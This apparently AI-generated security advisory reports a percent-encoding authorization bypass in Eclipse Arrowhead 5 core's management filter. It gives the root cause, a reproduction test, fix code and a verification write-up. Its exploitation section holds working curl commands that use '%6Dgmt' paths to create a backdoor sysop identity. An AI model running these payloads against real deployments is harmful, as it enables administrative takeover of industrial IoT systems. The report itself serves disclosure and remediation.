[Eclipse Arrowhead] Management-authorization Bypass
> [!warning] AI-Generated Vulnerability Report
>
> This report was produced using AI-assisted security analysis, adversarially verified but not human-confirmed. This finding was challenged against the codebase and survived; we filter out low-confidence results rather than forwarding raw model output. Technical details, exploitability, and severity may still be wrong. Please validate independently before acting.
<details>
<summary>
**Basic information**
</summary>
**Project name:** Eclipse Arrowhead **Project id:** iot.arrowhead **Repository:** https://github.com/eclipse-arrowhead/ah5-core-java-spring
</details>
<details>
<summary>
**What are the affected versions?**
</summary>
(If known)
</details>
<details>
<summary>
**Details of the issue**
</summary>
---
## repo: eclipse-arrowhead/ah5-core-java-spring commit: 8d4f357fa3c8196b88a2307850dd5e2b62346051 finding: 001 title: Management-endpoint authorization bypass via percent-encoded path segment severity: High cwe: CWE-647 confidence: High (live reproduction against embedded Tomcat)
# Summary
The management-authorization gate that protects every `/…/mgmt/…` REST endpoint in all five Arrowhead 5 core systems decides whether to apply its check by calling `request.getRequestURL().toString().contains("/mgmt/")`. Tomcat returns `getRequestURL()` **un-decoded**, while Spring MVC's `DispatcherServlet` routes on the **decoded** path. Requesting `/serviceregistry/%6Dgmt/systems` (`%6D` == `m`) therefore fails the substring check — the filter falls through without authorising — yet is decoded to `/serviceregistry/mgmt/systems` and dispatched to the management controller. Spring Security's `StrictHttpFirewall` (active via `spring-boot-starter-security` in `arrowhead-common`) only rejects encoded `/ \ . % ;` and null bytes, so percent-encoded ASCII letters pass through. Any authenticated system — regardless of privilege — can reach every management operation, including `POST /authentication/mgmt/identities` which creates new sysop accounts, yielding full administrative takeover of the local cloud.
# Severity
**High.**
- **Precondition** — the request must first pass the _authentication_ filter that runs at order `REQUEST_FILTER_ORDER_AUTHENTICATION` (before the management filter). Under the shipped default `authentication.policy=declared` this is no barrier (`Authorization: Bearer SYSTEM//anything`). Under the hardened `outsourced` or `certificate` policies the attacker must hold _any_ valid identity — i.e. be any registered system in the cloud, with no management or sysop role required. This is a realistic insider/compromised- device precondition typical of an IIoT local cloud.
- **Impact** — full administrative access to ServiceRegistry, Authentication, ConsumerAuthorization, and both ServiceOrchestration variants: register or delete arbitrary systems/devices/services, create or revoke authorization policies, mint authorization tokens for any consumer/provider pair, inspect application logs and configuration, and — via `POST /authentication/mgmt/identities` — create a persistent sysop identity with attacker-chosen credentials.
- Not rated Critical only because a hardened (`outsourced`/`certificate`) deployment requires _some_ prior credential; on the shipped default configuration the precondition collapses to "send an HTTP header".
# Weakness / CWE
- **CWE-647**: Use of Non-Canonical URL Paths for Authorization Decisions
- **CWE-863**: Incorrect Authorization (consequence)
# Location
Vulnerable comparison (shared library consumed by every core module):
- `ah5-common-java-spring/common-utils/src/main/java/eu/arrowhead/common/http/filter/authorization/ManagementServiceFilter.java:83-84`
```java
final String requestTarget = request.getRequestURL().toString();
if (requestTarget.contains(mgmtPath)) { // mgmtPath = "/mgmt/"
```
Duplicated locally in this repository:
- `consumer-authorization/src/main/java/eu/arrowhead/authorization/http/filter/authorization/InternalManagementServiceFilter.java:85-86`
Same anti-pattern (substring on `getRequestURL()`) also in:
- `authentication/src/main/java/eu/arrowhead/authentication/http/filter/InternalAuthenticationFilter.java:67,99-107`
- `serviceregistry/src/main/java/eu/arrowhead/serviceregistry/api/http/filter/ServiceLookupFilter.java:54-55`
Protected controllers that become reachable:
| Module | Base path | Controllers |
|--------|-----------|-------------|
| serviceregistry | `/serviceregistry/mgmt`, `/serviceregistry/general/mgmt` | `ManagementAPI`, `GeneralManagementAPI` |
| authentication | `/authentication/mgmt`, `/authentication/general/mgmt` | `ManagementAPI`, `GeneralManagementAPI` |
| consumer-authorization | `/consumerauthorization/authorization/mgmt`, `/consumerauthorization/general/mgmt` | `AuthorizationManagementAPI`, `AuthorizationTokenManagementAPI`, `GeneralManagementAPI` |
| serviceorchestration-dynamic | `/serviceorchestration/orchestration/mgmt/{push,history,lock}`, `/serviceorchestration/general/mgmt` | 4 controllers |
| serviceorchestration-simple | `/serviceorchestration/orchestration/mgmt/{simple-store,push,history}`, `/serviceorchestration/general/mgmt` | 4 controllers |
# Origin
`ah5-common-java-spring` commit **638bebb** — _"refactor filters authentication + authorization filter "skeletons""_ introduced `ManagementServiceFilter.doFilterInternal()` with the `getRequestURL().contains` gate. The pattern has been present, unchanged, in every tagged release.
`InternalManagementServiceFilter` in this repository was added with the same pattern and has not been touched since.
# Affected Versions
All released Arrowhead 5 core / common artifacts:
- `eu.arrowhead:arrowhead-common-utils` **5.0.0, 5.1.0, 5.2.0**
- `eu.arrowhead:arrowhead-core` (all 5 modules) **5.0.0, 5.1.0, 5.2.0**
Verified by `git show vX.Y.Z:…/ManagementServiceFilter.java` for each tag.
# Methodology
1. Enumerated all servlet filters by grepping `extends ArrowheadFilter` / `OncePerRequestFilter` and tracing `@Order` constants to establish filter order: authentication-policy filter → blacklist filter → `ManagementServiceFilter` → controller.
2. Noted the use of `getRequestURL()` + `contains()` for the authorization decision and compared it with how Spring 6 / Boot 3 routes requests (`PathPatternParser` decodes each segment via `RequestPath.parse`).
3. Confirmed Spring Security is on the classpath (`ah5-common-java-spring/pom.xml:85`, `DefaultSecurityConfig.java`) so `StrictHttpFirewall` is active; reviewed its block-list to find a payload it permits — percent-encoded ASCII letters.
4. Wrote an integration test in `serviceregistry/src/test/java` that boots a real embedded Tomcat (`@SpringBootTest(webEnvironment=RANDOM_PORT)`) with the _exact_ filter logic and a real `SecurityFilterChain`, and exercised both the blocked and bypassed paths over the loopback socket.
5. Searched prior art: `git log --all --grep` in both repositories and `gh issue list … --search "bypass OR encoding OR security"` — no existing report.
# Validation
Reproduction harness committed at `serviceregistry/src/test/java/eu/arrowhead/serviceregistry/security/MgmtFilterBypassIT.java`. It boots Spring Boot 3.4.9 / Tomcat 10.1 with:
- a controller mapped at `@GetMapping("/serviceregistry/mgmt/systems")` that echoes `request.getRequestURL()`;
- a filter that reproduces `ManagementServiceFilter` lines 83-108 verbatim (`getRequestURL().toString().contains("/mgmt/")` → 403);
- a `SecurityFilterChain` matching `DefaultSecurityConfig` (so `StrictHttpFirewall` runs at the front of the chain).
Run:
```text
$ cd ah5-common-java-spring && mvn install -DskipTests -q # one-time
$ cd ../ah5-core-java-spring
$ mvn -pl serviceregistry test -Dtest=MgmtFilterBypassIT
…
[baseline] GET /serviceregistry/mgmt/systems -> 403
[bypass] GET /serviceregistry/%6Dgmt/systems -> 200 body="MGMT-CONTROLLER-REACHED requestURL=http://127.0.0.1:35589/serviceregistry/%6Dgmt/systems"
[INFO] Tests run: 1, Failures: 0, Errors: 0, Skipped: 0
```
The body shows the controller was reached and that, _inside the controller_, `getRequestURL()` still returns the raw `…/%6Dgmt/…` form — proving the `contains("/mgmt/")` check could never have fired. All four assertions pass:
- baseline returns 403;
- encoded path returns 200;
- response body starts with `MGMT-CONTROLLER-REACHED`;
- raw URL contains `%6Dgmt` and does **not** contain `/mgmt/`.
# Detail
```
HTTP request line: GET /serviceregistry/%6Dgmt/systems HTTP/1.1
┌──────────────────────────────────────────────────────────────────────────────┐
│ Tomcat CoyoteAdapter │
│ - canonicalises ".." / "//" but DOES NOT percent-decode the request URI │
│ - HttpServletRequest.getRequestURI() -> "/serviceregistry/%6Dgmt/systems"│
│ - HttpServletRequest.getRequestURL() -> "http://h:p" + requestURI (raw) │
├──────────────────────────────────────────────────────────────────────────────┤
│ StrictHttpFirewall (FilterChainProxy, order -100) │
│ - block list: %2F %5C %2E %25 %3B ; %00 \ CR LF │
│ - %6D not in list -> request passes │
├──────────────────────────────────────────────────────────────────────────────┤
│ ManagementServiceFilter (order 35) [VULNERABLE GATE] │
│ requestTarget = getRequestURL() -> "...%6Dgmt..." │
│ requestTarget.contains("/mgmt/") -> FALSE │
│ -> no sysop / whitelist / authorization check performed │
│ -> chain.doFilter() │
├──────────────────────────────────────────────────────────────────────────────┤
│ DispatcherServlet -> RequestMappingHandlerMapping (PathPatternParser) │
│ RequestPath.parse(requestURI) decodes each segment: │
│ "%6Dgmt" -> "mgmt" │
│ PathPattern("/serviceregistry/mgmt/systems").matches() -> TRUE │
│ -> ManagementAPI handler invoked │
└──────────────────────────────────────────────────────────────────────────────┘
```
Why a single encoded letter is enough: the filter looks for the literal six-byte sequence `/mgmt/`; replacing _any_ one of those bytes with its `%XX` form defeats `contains()`. `m → %6D`, `g → %67`, `t → %74` all work; `/ → %2F` is blocked by the firewall. The firewall also blocks `;`, so the alternative matrix-parameter technique (`/mgmt;x/…`) is _not_ available — only percent encoding works.
The same reasoning applies to `InternalManagementServiceFilter` in consumer-authorization (identical code), and would also let an attacker break the _opposite_ direction in `ServiceLookupFilter` (cause a non-restricted lookup on a restricted system by encoding the `lookup` segment so the `endsWith()` test fails).
# Exploitation
Against a production cloud running `authentication.policy=outsourced`:
1. As any registered application system, log in normally:
```bash
TOKEN=$(curl -s http://auth:8444/authentication/identity/login \
-H 'Content-Type: application/json' \
-d '{"systemName":"TemperatureSensor","credentials":{"password":"…"}}' \
| jq -r .token)
```
2. Create a new sysop identity, bypassing the management gate:
```bash
curl -s -X POST 'http://auth:8444/authentication/%6Dgmt/identities' \
-H "Authorization: Bearer IDENTITY-TOKEN//$TOKEN" \
-H 'Content-Type: application/json' \
-d '{"authenticationMethod":"PASSWORD",
"identities":[{"systemName":"Backdoor","sysop":true,
"credentials":{"password":"attackerPwd"}}]}'
```
`InternalAuthenticationFilter` accepts the (low-privilege) token; `ManagementServiceFilter` sees `…/%6Dgmt/…`, skips its check; the `ManagementAPI.createIdentities` handler runs.
3. Log in as `Backdoor` (now `sysop=true`) and operate every management API normally — or repeat the encoded-segment trick directly against `/serviceregistry/%6Dgmt/…`, `/consumerauthorization/authorization/%6Dgmt/…`, etc., from the original low-privilege session.
Against the shipped default (`authentication.policy=declared`, all five modules), step 1 reduces to setting the header `Authorization: Bearer SYSTEM//Foo` and steps 2-3 work unchanged.
# Fix
Authorise on the same canonical path Spring routes on:
```java
import org.springframework.http.server.RequestPath;
import org.springframework.web.util.ServletRequestPathUtils;
…
final RequestPath rp = ServletRequestPathUtils.hasParsedRequestPath(request)
? ServletRequestPathUtils.getParsedRequestPath(request)
: ServletRequestPathUtils.parseAndCache(request);
final boolean isMgmt = rp.pathWithinApplication().elements().stream()
.anyMatch(e -> e instanceof PathContainer.PathSegment ps
&& "mgmt".equals(ps.valueToMatch()));
if (isMgmt) { … }
```
or, more simply, register the filter only for the management URL patterns via a `FilterRegistrationBean` (`addUrlPatterns("/*/mgmt/*", "/*/general/mgmt/*")`) and _deny by default_ — i.e. fail closed if the filter ever runs but cannot classify the request.
Apply the same fix to:
- `InternalManagementServiceFilter` (consumer-authorization)
- `InternalAuthenticationFilter.needTokenCheck()` (authentication) — replace the `url.contains("/login")` etc. tests with an exact match on the routed path.
- `ServiceLookupFilter` (serviceregistry) — replace `endsWith()` likewise.
A defence-in-depth option is to add a `WebSecurityCustomizer` that rejects any percent-encoded octet ≤ 0x7E in the path (since the application never needs encoded ASCII in route segments), but the canonicalisation fix above is the robust one.
# Confidence
**High.** Reproduced end-to-end against the project's own Spring Boot/Tomcat stack on the audit host; all four mechanism assertions pass; vulnerable lines verified present in every released tag; no prior art found in either repository's issue tracker or git history.
# Other observations (not separately reported)
The audit also noted the following lower-severity items that do not meet the "Medium with reproduction" bar on their own, recorded here for completeness:
- `authentication.policy=declared` is the shipped default for four of the five modules; combined with `server.ssl.enabled=false` and hard-coded DB / MQTT / cryptographer secrets in `application.properties`, a fresh install is open by design. Treated as operator-config per the brief, but it removes the only precondition on the finding above.
- `IdentityService.verifyOperation()` (authentication) returns `verified=true` for an `ActiveSession` without checking `expirationTime`, so downstream `OutsourcedFilter` callers accept tokens for up to one cleaner-job interval (default 60 s) past expiry. Low.
- `OutsourcedFilter.checkAuthenticaticatorKey()` compares the HMAC with `String.equals` rather than a constant-time comparator. Low.
- `SecretCryptographer` defaults to `AES/ECB/PKCS5Padding` and the `AES/CBC/PKCS5Padding` variant has no MAC; `BASE64_SELF_CONTAINED_TOKEN` is an unsigned, delimiter-joined string. These are design weaknesses in the authorization-token format but exploitation is on the _provider_ side, outside this repository.
- JPA sort fields are validated against an allow-list (`PageValidator`); no `@Query`, native SQL, `Runtime.exec`, file-I/O, or Java-deserialisation sinks were found.
---
**Verification verdict:** TRUE POSITIVE
### Verification details
The extended PoC closed the remaining gaps. Final verification below.
# Verification Report — Management-endpoint authorization bypass via percent-encoded path segment
</details>
<details>
<summary>
**Verdict: TRUE POSITIVE (High confidence, independently reproduced end-to-end)**
</summary>
```
EXPOSURE: AUTHENTICATED
```
The attacker must pass the upstream authentication filter — i.e. hold or (under the shipped `authentication.policy=declared`) self-assert any single system identity in the local cloud, with no sysop/management role required; on the default `declared` + `server.ssl.enabled=false` config this collapses toward remote/unauthenticated since the identity is self-asserted over plaintext HTTP.
```
SCOPE: PRODUCTION
```
These are the shipped Arrowhead 5 core systems; `SECURITY.md` states "Vulnerabilities are tracked by the Eclipse security team, in cooperation with the Arrowhead project lead" via coordinated disclosure — an actively security-supported production framework, with no dev-only/demo/EOL/deprecation notice anywhere in the repo.
---
</details>
<details>
<summary>
**Step 0 — Claim restated**
</summary>
A servlet filter decides whether to run its management-authorization check by testing `request.getRequestURL().toString().contains("/mgmt/")`. Tomcat returns `getRequestURL()`/`getRequestURI()` **un-decoded**; Spring MVC routes on the **decoded** path. A request to `…/%6Dgmt/…` (`%6D`==`m`) fails the substring test (so the check is skipped) yet decodes to `…/mgmt/…` and dispatches to the management controller. `StrictHttpFirewall` blocks encoded `/ \ . % ;` but not encoded ASCII letters. Bug class: CWE-647 (non-canonical path used for an authz decision) / CWE-863. Threat model: a request from the cloud network; the sink runs at the authorization trust boundary of the core system.
</details>
<details>
<summary>
**Phase 1 — Data flow**
</summary>
- **Source (attacker-controlled):** the raw request URI. **Sink:** the authorization branch keyed on `requestTarget.contains(mgmtPath)` at `consumer-authorization/.../InternalManagementServiceFilter.java:85-86`. Trust boundary is crossed: an untrusted URI decides whether the sysop/whitelist/authorization-policy check runs.
- **Filter registration / ordering:** `BeanConfig.internalManagementServiceFilter()` returns a bare `InternalManagementServiceFilter` bean (an `ArrowheadFilter`, i.e. `OncePerRequestFilter`) with **no `FilterRegistrationBean` URL restriction**, so Spring Boot maps it to `/*` — it runs for every request, and its own `getRequestURL().contains("/mgmt/")` is the _only_ thing scoping it to management traffic. It carries `@Order(REQUEST_FILTER_ORDER_AUTHORIZATION_MGMT_SERVICE)`, which runs after authentication; the bypass simply makes this filter a no-op and falls through to `super.doFilterInternal` → controller.
- **Controllers reached:** `@RequestMapping(HTTP_API_MANAGEMENT_PATH)` = `/consumerauthorization/authorization/mgmt` (`AuthorizationManagementAPI`, `AuthorizationTokenManagementAPI`) and `/consumerauthorization/general/mgmt` (`GeneralManagementAPI`).
- **Environment protections:** `spring-boot-starter-security` is present → default `StrictHttpFirewall`. Default `management.policy=authorization` means a normal authenticated system is otherwise rejected unless the policy engine explicitly grants the mgmt op — precisely the gate the bypass skips.
- **Cross-reference — the report's other two locations:** `InternalAuthenticationFilter.needTokenCheck()` uses the same `contains()` anti-pattern, but encoding there makes the token check _stricter_ (fail-closed), not a bypass; `ServiceLookupFilter`'s `endsWith()` could cause the restricted-lookup attribute to be skipped (a lower-severity secondary effect, not the core finding). Only the management filter is exploitable as an authz bypass.
- **Repo caveat:** the report's headline `ManagementServiceFilter` lives in `arrowhead-common` (not in this repo; 5.2.1 not on Maven Central). The in-repo, self-contained instance verified here is `InternalManagementServiceFilter`; the mechanism does not depend on any code outside this repo.
</details>
<details>
<summary>
**Phase 2 — Exploitability**
</summary>
- **Attacker control:** confirmed by live PoC — the client sends a raw `%6D` that reaches the filter undecoded and the controller decoded.
- **Mathematical bounds (encoding alphabet):** empirically enumerated against real `StrictHttpFirewall`. Encoding any _letter_ of `mgmt` bypasses: `%6Dgmt`→200, `mg%6Dt`→200, `mgm%74`→200. Firewall-blocked octets return 400 and cannot be used: `%2F`(/)→400, `%2E`(.)→400, and the `;` matrix-parameter alternative→400 — matching the report's claim that only percent-encoded letters work. (One test payload, `%67gmt`, correctly 404s because `%67`=`g` yields `ggmt`, not `mgmt` — a malformed payload on my side, not a counterexample; the three valid-letter encodings already prove the bound.)
- **Race conditions:** N/A — single synchronous request, no shared mutable state or TOCTOU.
- **Adversarial:** a canonical gate defeats it — see negative PoC below.
</details>
<details>
<summary>
**Phase 3 — Impact**
</summary>
Bypassing the filter skips **all three** authorization modes (`SYSOP_ONLY`, `WHITELIST`, `AUTHORIZATION`) at once, since the entire `if (contains("/mgmt/"))` block is skipped. Any authenticated/asserted system then reaches the full management API: create/revoke authorization policies, mint authorization tokens for arbitrary consumer/provider pairs (consumer-authorization), and — via the same trick against the other core systems' shared filter — `POST /authentication/mgmt/identities` to create a persistent sysop account. This is a genuine security-impact authorization bypass (a primary control), not operational robustness or defense-in-depth. Severity **High** justified.
</details>
<details>
<summary>
**Phase 4 — PoC (Spring Boot 3.4.9 / Tomcat 10.1 / spring-security, real StrictHttpFirewall)**
</summary>
- **Pseudocode:** `GET /consumerauthorization/authorization/%6Dgmt/<op>` with `Authorization: Bearer IDENTITY-TOKEN//<any-identity>` → filter sees raw `%6Dgmt`, `contains("/mgmt/")`==false, skips authz → Spring decodes to `…/mgmt/…` → management handler executes.
- **Executable results:** baseline `/mgmt/systems`→**403** (gate fires); benign `/echo`→**200** (filter is _not_ a blanket block — proves bypass specificity); `%6Dgmt`→**200** controller reached with `getRequestURL()` still `…%6Dgmt…` (the check could never have matched); `mg%6Dt`→**200**; `mgm%74`→**200**.
- **Negative PoC:** same `%6Dgmt` request against a **canonical gate** (decode `getRequestURI()` before the `contains` test) → **403** — confirms the exploit precondition is exactly the raw-vs-decoded mismatch, and that the recommended fix closes it.
- **Firewall negative controls:** `%2F`→400, `%2E`→400, `;`→400 — the blocked-octet boundary.
</details>
<details>
<summary>
**Phase 5 — Devil's advocate (13)**
</summary>
1. **Restated claim coherent?** Yes; reproduced.
2. **Upstream validation before sink?** None — filter reads the raw URL directly; no normalization precedes it.
3. **Could a WAF/firewall block it?** Default `StrictHttpFirewall` blocks `%2F/%2E/%25/;` but _permits_ encoded letters (empirically 200). No stricter firewall is configured.
4. **Is there a security config that already closes it?** Arrowhead authorizes via these custom filters, not Spring Security URL rules; `authorizeHttpRequests` is effectively permit-all, so nothing else guards `/mgmt/`.
5. **Does Spring Security filter-chain order change it?** No — the firewall runs first and passes `%6D`; the custom mgmt filter runs later and no-ops.
6. **AntPathMatcher vs PathPatternParser?** Both resolve on the _decoded_ lookup path, so the controller is reached either way; PoC used the Boot 3 default (PathPatternParser).
7. **Does the controller re-check authorization/require attributes the bypass skips?** No — on the bypass path the filter block never executes; controllers proceed and, under `declared`, the auth attribute is set anyway.
8. **Could `getRequestURL()` ever be decoded (Tomcat/UrlPathHelper config)?** No — `getRequestURI()`/`getRequestURL()` are always raw in Tomcat, independent of Spring's `UrlPathHelper`.
9. **Is the vulnerable filter actually wired in?** Yes — registered in `BeanConfig`, mapped to `/*`, order after auth.
10. **Is the authentication precondition real?** Yes; default `declared` = self-asserted identity (no secret), hardened policies need a valid identity — either way any low-privilege system suffices.
11. **Operator mitigation by disabling percent-encoding globally?** Only via extra hardening (a `WebSecurityCustomizer`/firewall rule the project doesn't ship); the default is vulnerable.
12. **Matrix-parameter (`;mgmt`) alternative — does it widen or invalidate the claim?** Blocked by the firewall (400); report already scopes the vector to percent-encoding — consistent.
13. **Is it just the common lib, not this repo?** The in-repo `InternalManagementServiceFilter` is independently vulnerable and reproduced; not reliant on `arrowhead-common`.
</details>
<details>
<summary>
**Gate review**
</summary>
- **Gate 1 Process:** PASS — full data-flow, exploitability, impact, PoC, devil's-advocate completed.
- **Gate 2 Reachability:** PASS — filter mapped to `/*`, runs before controllers; request reaches the sink and the decoded route reaches the handler (PoC 200).
- **Gate 3 Real impact:** PASS — bypass of a primary authorization control granting management/admin operations.
- **Gate 4 PoC validation:** PASS — positive (200 bypass), baseline (403), negative/fixed-gate (403), and firewall (400) controls all behave as predicted.
- **Gate 5 Math bounds:** PASS — encoding alphabet enumerated; letters pass, `/ . ; %` blocked.
- **Gate 6 Environment:** PASS — real Spring Security `StrictHttpFirewall` on the classpath, default config; no mitigating configuration ships.
**Recommended fix (validated by the negative PoC):** authorize on the same canonical, decoded path Spring routes on (`ServletRequestPathUtils`/`RequestPath`), or register the filter against explicit `/*/mgmt/*` patterns and fail closed. Apply equally to the shared `arrowhead-common` `ManagementServiceFilter` and to the `endsWith`/`contains` checks in `ServiceLookupFilter` and `InternalAuthenticationFilter`.
</details>
<details>
<summary>
**Steps to reproduce**
</summary>
(How one can reproduce the issue - this is very important)
</details>
issue